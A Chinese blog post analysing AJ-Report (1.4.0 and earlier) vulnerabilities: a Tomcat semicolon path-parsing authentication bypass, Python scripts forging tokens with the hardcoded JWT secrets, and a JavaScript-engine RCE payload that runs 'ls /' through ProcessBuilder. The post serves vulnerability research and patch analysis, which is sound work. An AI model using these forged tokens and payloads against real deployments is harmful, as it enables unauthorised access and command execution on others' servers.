之前打ctf线下赛遇到过这个系统,一直想分析来着,搁置到现在。。。
影响版本
<=1.4.0
环境搭建
无敌的p神没得说,还贴心配置了调试端口
https://github.com/vulhub/vulhub/blob/master/aj-report/CNVD-2024-15077/README.zh-cn.md
权限绕过
这类的漏洞一般就是Filter之类的写的有问题导致的权限绕过,直接来到TokenFilter

可以看到这里直接用了getRequestURI
获取的接口,这个东西之前就爆出来有解析差异导致的权限绕过,下面刚刚好有个url包含swagger-ui
就直接放行,那么利用;
就可以直接绕过权限校验

可以看到这样直接就绕过了权限校验,之前没分析过,借此分析一下。
Tomcat和getRequestURI结合导致的权限绕过
tomcat的处理在CoyoteAdapter.service()
方法中,这里我对getRequestURI
和这个service
都下了断点,首先在service
断住了,说明是tomcat先处理url,调用栈如下
1 2 3 4 5 6 7 8 9 10
| service:303, CoyoteAdapter (org.apache.catalina.connector) service:374, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:868, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1590, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:750, Thread (java.lang)
|
最终的分号处理是在parsePathParameters
,跟一下具体的处理过程

可以看到最终的处理是将;
后的给截断了,如果截断之后还有第二个那么就继续循环处理直到没有,具体的一步步这里就不写了太多了,但是似乎并没有返回什么,先继续往下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| if (pathParamEnd >= 0) { if (charset != null) { pv = new String(uriBC.getBuffer(), start + pathParamStart, pathParamEnd - pathParamStart, charset); } byte[] buf = uriBC.getBuffer(); for (int i = 0; i < end - start - pathParamEnd; i++) { buf[start + semicolon + i] = buf[start + i + pathParamEnd]; } uriBC.setBytes(buf, start, end - start - pathParamEnd + semicolon); } else { if (charset != null) { pv = new String(uriBC.getBuffer(), start + pathParamStart, (end - start) - pathParamStart, charset); } uriBC.setEnd(start + semicolon); }
|
主要是这段代码

if中是在找到;
之后的第一个/
处理情况,即将/
之后的直接覆盖;到/
之间的字符,而else就是在;
之后没找到/
,那么就直接去掉;
之后的字符

最终url解析就如下

此时getRequestURI()
再进行获取

这里获取是直接返回原本的字符,不进行任何处理,而下面又有这样一段代码
1 2 3 4 5
| if (uri.contains("swagger-ui") || uri.contains("swagger-resources")) { filterChain.doFilter(request, response); return; }
|
再加上tomcat处理映射是基于tomcat处理后的结果进行映射,所以导致了权限绕过

在parsePathParameters
处理完还有normalize
的处理

这里注释写了处理的情况是\ // /./ /../
这四种,具体就不一步步分析了,直接看gpt结果

相当于是做一个标准化
JWT硬编码导致的权限绕过
这里在上面的校验完成后会有一个jwt的校验

跟踪一下这里jwt是怎么生成的,一般的生成调用会在登录处

跟踪这个login的实现

在AccessUserServiceImpl.java下找到调用创建jwt的方法,跟进去得到创建逻辑
1 2 3 4
| public String createToken(String username, String uuid, Integer type, String tenantCode) { String token = JWT.create().withClaim("username", username).withClaim("uuid", uuid).withClaim("type", type).withClaim("tenant", tenantCode).sign(Algorithm.HMAC256(this.gaeaProperties.getSecurity().getJwtSecret())); return token; }
|
这里跟进getJwtSecret
方法找到jwt的硬编码为anji_plus_gaea_p@ss1234
,根据逻辑生成一下token
1 2 3 4 5 6 7 8 9 10
| def getFakeToken(): payload = { "type": 0, "uuid": "627750b8be86421d94facec7e4dba555", "tenant": "tenantCode", "username": "admin" } fakeToken = jwt.encode(payload,'anji_plus_gaea_p@ss1234',algorithm='HS256') print(fakeToken) return fakeToken
|
后面发现光有这个没啥用
1 2 3 4 5 6
| String shareToken = request.getHeader("Share-Token");
if (StringUtils.isBlank(token) && StringUtils.isBlank(shareToken)) { error(response); return; }
|
这里会检测Share-Token,没设置这个的话在这里就抛异常了,这个的生成逻辑在JwtUtil.java下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class JwtUtil {
private static final String JWT_SECRET = "aj-report";
public static String createToken(String reportCode, String shareCode, Date expires) { return createToken(reportCode, shareCode, null, expires); }
public static String createToken(String reportCode, String shareCode, String password, Date expires) { String token = JWT.create() .withIssuedAt(new Date()) .withExpiresAt(expires) .withClaim("reportCode", reportCode) .withClaim("shareCode", shareCode) .withClaim("sharePassword", password) .sign(Algorithm.HMAC256(JWT_SECRET)); return token; }
|
同样的是硬编码,这里的reportCode即对应下面的判断逻辑,你要访问的接口中有你传入的reportCode即可

1 2 3 4 5 6 7 8 9 10
| def getFakeShareToken(): payload = { "shareCode": 1, "reportCode": "/dataSetParam", #通用性 "exp": 1742358830, "sharePassword": 1 } fakeShareToken = jwt.encode(payload,'aj-report',algorithm='HS256') print(fakeShareToken) return fakeShareToken
|
这样就可绕过权限校验,当然为了通用性,reportCode可直接设为/
即可

RCE分析
接口位置在DataSetParamController.java
1 2 3 4 5 6 7
| @PostMapping("/verification") public ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) { DataSetParamDto dto = new DataSetParamDto(); dto.setSampleItem(param.getSampleItem()); dto.setValidationRules(param.getValidationRules()); return responseSuccessWithData(dataSetParamService.verification(dto)); }
|
跟进verification
方法,该方法有两个重写,不过我们传入的是对象,所以会走下面这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| @Override public Object verification(DataSetParamDto dataSetParamDto) {
String validationRules = dataSetParamDto.getValidationRules(); if (StringUtils.isNotBlank(validationRules)) { try { engine.eval(validationRules); if(engine instanceof Invocable){ Invocable invocable = (Invocable) engine; Object exec = invocable.invokeFunction("verification", dataSetParamDto); ObjectMapper objectMapper = new ObjectMapper(); if (exec instanceof Boolean) { return objectMapper.convertValue(exec, Boolean.class); }else { return objectMapper.convertValue(exec, String.class); }
}
} catch (Exception ex) { throw BusinessExceptionBuilder.build(ResponseCode.EXECUTE_JS_ERROR, ex.getMessage()); }
} return true; }
|
validationRules
参数会流入engine.eval()
中,engine
为一个js引擎
1 2 3 4 5
| private ScriptEngine engine; { ScriptEngineManager manager = new ScriptEngineManager(); engine = manager.getEngineByName("JavaScript"); }
|
这个就很明显的Java调用js命令执行,参数构造参考DataSetParamDto类即可
1 2 3 4 5 6 7 8 9
| { "ParamName": "", "paramDesc": "", "paramType": "", "sampleItem": "1", "mandatory": true, "requiredFlag": 1, "validationRules": "function verification(data){a = new java.lang.ProcessBuilder(\"ls\", \"/\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}" }
|

后续这里的修复是把三个常用执行命令的类ban了

针对绕过暂时先不看了,差点又难产了。。。
参考
https://xz.aliyun.com/news/7139
https://xz.aliyun.com/news/13897